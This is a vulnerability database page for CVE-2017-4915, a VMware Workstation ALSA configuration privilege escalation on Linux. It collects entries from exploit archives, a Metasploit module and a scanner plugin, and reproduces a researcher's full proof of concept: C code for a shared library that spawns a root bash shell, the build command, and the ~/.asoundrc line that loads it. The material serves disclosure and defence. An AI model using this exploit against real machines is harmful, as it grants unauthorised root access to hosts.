Vulnerabilities > CVE-2017-4915 - Incorrect Authorization vulnerability in VMWare Workstation Player and Workstation PRO
Attack vector
LOCAL Attack complexity
LOW Privileges required
LOW Confidentiality impact
HIGH Integrity impact
HIGH Availability impact
HIGH Summary
VMware Workstation Pro/Player contains an insecure library loading vulnerability via ALSA sound driver configuration files. Successful exploitation of this issue may allow unprivileged host users to escalate their privileges to root in a Linux host machine.
Vulnerable Configurations
Part | Description | Count |
---|---|---|
Application | 2 | |
OS | 1 |
Common Weakness Enumeration (CWE)
Exploit-Db
id EDB-ID:47171 last seen 2019-07-26 modified 2018-12-30 published 2018-12-30 reporter Exploit-DB source https://www.exploit-db.com/download/47171 title VMware Workstation/Player < 12.5.5 - Local Privilege Escalation description VMware Workstation for Linux 12.5.2 build-4638234 - ALSA Config Host Root Privilege Escalation. CVE-2017-4915. Local exploit for Linux platform. Tags: Local file exploits/linux/local/42045.c id EDB-ID:42045 last seen 2017-05-22 modified 2017-05-22 platform linux port published 2017-05-22 reporter Exploit-DB source https://www.exploit-db.com/download/42045/ title VMware Workstation for Linux 12.5.2 build-4638234 - ALSA Config Host Root Privilege Escalation type local
Metasploit
description | This module exploits a vulnerability in VMware Workstation Pro and Player on Linux which allows users to escalate their privileges by using an ALSA configuration file to load and execute a shared object as root when launching a virtual machine with an attached sound card. This module has been tested successfully on VMware Player version 12.5.0 on Debian Linux 8 Jessie. |
id | MSF:EXPLOIT/LINUX/LOCAL/VMWARE_ALSA_CONFIG |
last seen | 2020-06-10 |
modified | 2019-11-03 |
published | 2017-06-18 |
references | |
reporter | Rapid7 |
source | https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/local/vmware_alsa_config.rb |
title | VMware Workstation ALSA Config File Local Privilege Escalation |
Nessus
NASL family | General |
NASL id | VMWARE_WORKSTATION_LINUX_VMSA_2017_0009.NASL |
description | The version of VMware Workstation installed on the remote Linux host is 12.x prior to 12.5.6. It is, therefore, affected by a privilege escalation vulnerability in the ALSA sound driver due to insecurely loading shared libraries via the |
last seen | 2020-06-01 |
modified | 2020-06-02 |
plugin id | 100417 |
published | 2017-05-25 |
reporter | This script is Copyright (C) 2017-2018 Tenable Network Security, Inc. |
source | https://www.tenable.com/plugins/nessus/100417 |
title | VMware Workstation 12.x < 12.5.6 Insecure Library Loading Privilege Escalation (VMSA-2017-0009) (Linux) |
code |
|
Packetstorm
data source https://packetstormsecurity.com/files/download/142625/GS20170523000015.txt id PACKETSTORM:142625 last seen 2017-05-25 published 2017-05-22 reporter Google Security Research source https://packetstormsecurity.com/files/142625/VMWare-Workstation-On-Linux-Privilege-Escalation.html title VMWare Workstation On Linux Privilege Escalation data source https://packetstormsecurity.com/files/download/145692/vmware_alsa_config.rb.txt id PACKETSTORM:145692 last seen 2018-01-06 published 2018-01-05 reporter Brendan Coles source https://packetstormsecurity.com/files/145692/VMware-Workstation-ALSA-Config-File-Local-Privilege-Escalation.html title VMware Workstation ALSA Config File Local Privilege Escalation
Seebug
bulletinFamily | exploit |
description | This vulnerability permits an unprivileged user on a Linux machine on which VMWare Workstation is installed to gain root privileges. The issue is that, for VMs with audio, the privileged VM host process loads libasound, which parses ALSA configuration files, including one at ~/.asoundrc. libasound is not designed to run in a setuid context and deliberately permits loading arbitrary shared libraries via dlopen(). VMWare Workstation on Linux: unprivileged host user -> host root privesc via ALSA config CVE-2017-4915 This vulnerability permits an unprivileged user on a Linux machine on which VMWare Workstation is installed to gain root privileges. The issue is that, for VMs with audio, the privileged VM host process loads libasound, which parses ALSA configuration files, including one at ~/.asoundrc. libasound is not designed to run in a setuid context and deliberately permits loading arbitrary shared libraries via dlopen(). To reproduce, run the following commands on a normal Ubuntu desktop machine with VMWare Workstation installed: `~$ cd /tmp /tmp$ cat > evil_vmware_lib.c #define _GNU_SOURCE #include <stdlib.h> #include <string.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <sys/prctl.h> #include <err.h> extern char *program_invocation_short_name; __attribute__((constructor)) void run(void) { if (strcmp(program_invocation_short_name, "vmware-vmx")) return; uid_t ruid, euid, suid; if (getresuid(&ruid, &euid, &suid)) err(1, "getresuid"); printf("current UIDs: %d %d %d\n", ruid, euid, suid); if (ruid == 0 || euid == 0 || suid == 0) { if (setresuid(0, 0, 0) || setresgid(0, 0, 0)) err(1, "setresxid"); printf("switched to root UID and GID"); system("/bin/bash"); _exit(0); } } /tmp$ gcc -shared -o evil_vmware_lib.so evil_vmware_lib.c -fPIC -Wall -ldl -std=gnu99 /tmp$ cat > ~/.asoundrc hook_func.pulse_load_if_running { lib "/tmp/evil_vmware_lib.so" func "conf_pulse_hook_load_if_running" } /tmp$ vmware Next, in the VMWare Workstation UI, open a VM with a virtual sound card and start it. Now, in the terminal, a root shell will appear: /tmp$ vmware current UIDs: 1000 1000 0 bash: cannot set terminal process group (13205): Inappropriate ioctl for device bash: no job control in this shell ~/vmware/Debian 8.x 64-bit# id uid=0(root) gid=0(root) groups=0(root),[...] ~/vmware/Debian 8.x 64-bit# ` I believe that the ideal way to fix this would be to run all code that doesn't require elevated privileges - like the code for sound card emulation - in an unprivileged process. However, for now, moving only the audio output handling into an unprivileged process might also do the job; I haven't yet checked whether there are more libraries VMWare Workstation loads that permit loading arbitrary libraries into the vmware-vmx process. Tested with version: 12.5.2 build-4638234, running on Ubuntu 14.04. This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: jannh |
id | SSV:93133 |
last seen | 2017-11-19 |
modified | 2017-05-23 |
published | 2017-05-23 |
reporter | Root |
title | VMWare Workstation On Linux Privilege Escalation |
References
- http://www.securityfocus.com/bid/98566
- http://www.securityfocus.com/bid/98566
- http://www.securitytracker.com/id/1038525
- http://www.securitytracker.com/id/1038525
- https://www.exploit-db.com/exploits/42045/
- https://www.exploit-db.com/exploits/42045/
- https://www.vmware.com/security/advisories/VMSA-2017-0009.html
- https://www.vmware.com/security/advisories/VMSA-2017-0009.html